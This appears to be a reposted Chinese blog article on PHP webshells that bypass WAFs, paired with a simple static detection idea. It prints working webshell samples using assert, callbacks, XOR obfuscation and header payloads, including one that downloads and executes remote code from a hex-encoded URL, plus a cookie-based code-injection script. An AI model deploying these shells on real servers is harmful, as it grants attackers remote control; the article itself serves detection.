PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
JAVA/JSP学习系列之二
Oct 09 PHP
使用PHP维护文件系统
Oct 09 PHP
用libtemplate实现静态网页生成
Oct 09 PHP
escape unescape的php下的实现方法
Apr 27 PHP
PHP Zip解压 文件在线解压缩的函数代码
May 26 PHP
php cc攻击代码与防范方法
Oct 18 PHP
对PHP语言认识上需要避免的10大误区
Jun 12 PHP
ThinkPHP的模版中调用session数据的方法
Jul 01 PHP
php+redis消息队列实现抢购功能
Feb 08 PHP
PHP使用openssl扩展实现加解密方法示例
Feb 20 PHP
Thinkphp 框架扩展之应用模式实现方法分析
Apr 27 PHP
phpstudy2020搭建站点的实现示例
Oct 30 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
PHP中输出转义JavaScript代码的实现代码
2011/04/22 PHP
自己写了一个php检测文件编码的函数
2014/04/21 PHP
深入理解 PHP7 中全新的 zval 容器和引用计数机制
2018/10/15 PHP
laravel清除视图缓存的代码
2019/10/23 PHP
Yii框架模拟组件调用注入示例
2019/11/11 PHP
php 利用socket发送GET,POST请求的实例代码
2020/07/04 PHP
HTML IMG标签 onload 内存溢出导致浏览器CPU占用过高
2021/03/09 Javascript
权威JavaScript 中的内存泄露模式
2007/08/13 Javascript
利用js对象弹出一个层
2008/03/26 Javascript
js 使FORM表单的所有元素不可编辑的示例代码
2013/10/17 Javascript
全面理解面向对象的 JavaScript(来自ibm)
2013/11/10 Javascript
Jquery在指定DIV加载HTML示例代码
2014/02/17 Javascript
javascript实现鼠标拖动改变层大小的方法
2015/04/30 Javascript
jquery读取xml文件实现省市县三级联动的方法
2015/05/29 Javascript
Jquery操作cookie记住用户名
2016/03/29 Javascript
Bootstrap3制作自己的导航栏
2016/05/12 Javascript
Vue路由钩子之afterEach beforeEach的区别详解
2018/07/15 Javascript
VUE v-model表单数据双向绑定完整示例
2019/01/21 Javascript
vue elementui 实现搜索栏公共组件封装的实例代码
2020/01/20 Javascript
vue 递归组件的简单使用示例
2021/01/14 Vue.js
python中lambda()的用法
2017/11/16 Python
python获取文件路径、文件名、后缀名的实例
2018/04/23 Python
关于Tensorflow中的tf.train.batch函数的使用
2018/04/24 Python
django 多数据库配置教程
2018/05/30 Python
深入解析Python小白学习【操作列表】
2019/03/23 Python
用sqlalchemy构建Django连接池的实例
2019/08/29 Python
Django在Model保存前记录日志实例
2020/05/14 Python
python3 kubernetes api的使用示例
2021/01/12 Python
CSS3——齿轮转动关键代码
2013/05/02 HTML / CSS
大专毕业生自我鉴定
2013/11/21 职场文书
办公室内勤工作职责
2013/12/11 职场文书
恐龙的灭绝教学反思
2014/02/12 职场文书
科级干部考察材料
2014/02/15 职场文书
个人合伙协议书范本
2014/10/14 职场文书
2015年高二班主任工作总结
2015/05/25 职场文书
运动会广播稿300字
2015/08/19 职场文书